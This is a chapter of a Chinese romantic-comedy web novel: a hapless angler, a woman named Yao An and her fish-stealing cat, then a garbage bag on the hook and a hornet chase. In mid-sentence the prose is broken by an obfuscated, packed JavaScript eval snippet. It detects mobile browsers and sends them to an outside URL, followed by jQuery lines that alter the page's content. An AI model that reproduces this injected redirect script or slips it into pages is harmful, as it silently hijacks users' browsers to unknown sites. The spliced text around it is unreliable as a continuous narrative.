姚安不知何时出现在不远处的小路上,靛蓝色道袍的下摆沾着几根草叶,手里拎着个篮子,里面放着些艾草,似乎是刚摘下来的。
黑猫爪下的力道不减反增,把那条可怜的鲫鱼又往泥里按深了几分。
它琥珀色的眼睛朝着姚安眨巴眨巴,流露出几分委屈,仿佛在跟主人告状:"他抢我猎物!"
"这是......"姚安目光在鱼竿、猫爪和陶忠带着三分憋屈三分尴尬,还有四分莫名的期待的脸上转了个来回,突然想起昨晚空鱼篓的事,唇角几不可察地扬起。
她蹲下身,食指轻轻点在黑猫的眉心:"白云,松爪。"
白云看看鱼,看看陶忠,又看看姚安,爪子就跟黏在鱼身上似的。
姚安眯起眼睛,指尖下滑到它的颈后,轻轻一捏,把白云提溜了起来。
获得自由的鲫鱼立刻疯狂地扭动起来。
陶忠赶紧收线,看着鱼身上清晰的猫爪印,哭笑不得。
姚安抱着白云,伸手安抚性地摸了摸它油光水滑的脊背,然后抬头看向陶忠:“它……是不是真偷过你的鱼?”
白云一听这话,耳朵瞬间向后一撇,脑袋也微微扭开,避开了姚安审视的目光,假装专注地舔起自己的一只爪子。
这副心虚回避的样子,简直此地无银三百两。
不用陶忠回答,姚安就已经明白了。
她又好气又好笑,指尖在白云头顶轻轻敲了一下,算是小小的惩戒。
而后姚安轻咳一声,对陶忠道:"对不住,它最近......"话到嘴边拐了个弯,"确实有些恃宠而骄。"
阳光穿过树枝,在姚安侧脸投下斑驳的光影。
陶忠发现她的睫毛在光线下呈现出罕见的浅棕色,像秋日芦苇的穗子,挠得人心痒痒得。
这个认知让他准备好的挖苦话,卡在了嘴边,怎么也说不出来。
“要不……”姚安指了指陶忠手里的鱼,“我帮你烤了它?就当赔罪。”
见陶忠瞪大眼睛,她补充道:“我烤鱼手艺很好的。”
陶忠正要答应,鱼钩上的鲫鱼突然垂死挣扎,尾巴"啪"地甩在他的鼻梁上,趁机脱钩跃入水中,摆尾消失前还溅了他满脸的水花。
两人一猫同时愣住。
白云最先反应过来,幸灾乐祸地“喵呜”一声,又被姚安惩戒性地敲了敲脑壳。
“看来…..”她眼里闪过狡黠的光,“要改天了……”
陶忠抹了把脸,看着姚安抱着猫离开的背影,嘴角莫名地向上弯了弯:好像……也不是全无收获?
自此,陶忠只要有时间就往柳树湾去。
这天,他顶着把人烤化的烈日,在柳树湾边枯坐了整整八个小时。
可鱼漂像是被焊死在了水面一样,纹丝不动。
陶忠实在是又累又热,终于认命地叹了口气:“收工。”
他懒洋洋地开始收线,准备迎接又一次的空军。
就在这时,鱼线突然绷紧,巨大的拉力让毫无防备的陶忠一个趔趄,整个人被拖得向前猛扑,差一点儿就要一头栽进水里。
“我靠!!!”陶忠魂飞魄散,肾上腺素瞬间飙到顶点。
求生的本能让他死死抓住鱼竿,身体拼命后仰,双脚蹬住岸边的泥地,鞋底在地上犁出两道深深的沟壑。
“这绝对是个大鱼!”陶忠心道。
心脏在胸腔里疯狂擂鼓,惊惧之后是狂喜。
陶忠使出吃奶的劲儿,全身肌肉绷紧,和水底的“巨怪”展开了惊心动魄的拔河,即便满脸汗水也不松手,嘴里神经质地念叨着:“稳住!别急……慢慢来……快到叔叔碗里来……”
这场拉锯战持续了近十分钟。
陶忠爆喝一声,用尽残存的力气,猛地将鱼竿向身后狠狠一扬。
哗啦——
一个沾满恶臭淤泥和水草的黑色物体,被这股蛮力硬生生拽出了水面。
它在空中划过一道沉重的弧线,“噗通”一声,重重砸在了陶忠脚边的泥地上,溅了他一身腥臭的黑泥点子。
陶忠喘着粗气,满怀期待地定睛一看,顿时失望至极。
那黑色物体是一个鼓鼓囊囊、破破烂烂的垃圾袋!里面隐约可见一些生活垃圾的轮廓,绝对和“鱼”没有半毛钱关系
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16085043|179539||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
失望之后是足以焚毁理智的愤怒。
“我——靠——!!!”陶忠咆哮道,震得岸边的柳树叶都簌簌发抖。
陶忠气得浑身哆嗦,他飞起一脚,狠狠踹在那个散发着嘲讽气息的垃圾袋上。
这样还不解气,陶忠重整旗鼓,带着一股子“老子今天跟这破地儿拼了”的狠劲儿,他抓起鱼竿,也不看方向,用尽全身力气,将挂着鱼钩的鱼线朝着身后猛地一抡。
他要重新下竿!把这里的鱼全钓上来!
然而,“噗嗤”一声闷响后,一阵令人头皮发嘛的“嗡嗡嗡嗡嗡”声,如同地狱的号角,骤然在陶忠头顶上方爆发。
他僵硬地抬起头,只见鱼钩不偏不倚,正钩中了岸边一棵歪脖子老槐树上,那个硕大无比的马蜂窝!
“糟了!”陶忠立刻脸色煞白,他丢下鱼竿,转身拔腿就跑。
黑压压的马蜂群带着死亡的嗡鸣,铺天盖地地向他追来。
没跑出多远,陶忠就看到前方小路上,姚安正挎着个篮子,似乎是又在采艾草。
“姚安!跑!快跑啊!马蜂!!”他声嘶力竭地大吼,声音都变了调。
姚安闻声回头,看到陶忠身后那团恐怖的“黑云”和他惊恐万状的脸,饶是她一贯冷静,此刻也花容失色,转身就跑。
可姚安平时疏于运动,没跑几步就气喘吁吁,眼看蜂群逼近,刺耳的嗡鸣声仿佛就在脑后。
陶忠一咬牙,冲到姚安身边,也顾不上什么男女大防了,一把抓住她的胳膊,几乎是连拖带拽地拉着她往前狂奔。
姚安被他拽得踉踉跄跄,好几次差点儿绊倒。
蜂群紧追不舍,嗡嗡声如同催命符。
“不行!跑不过它们!”陶忠急中生智,猛地停下脚步,在姚安惊愕的目光中,飞快地脱下了自己汗湿的衬衫。
他大吼一声:“低头!靠紧我!”
还没等姚安反应过来,陶忠不由分说地将宽大的衣服罩在两人头上,尽可能地将两人头部和上半身包裹起来,又接过姚安手中的篮子,也套在了两人头上,同时双臂用力将姚安紧紧揽进怀里,压在身下。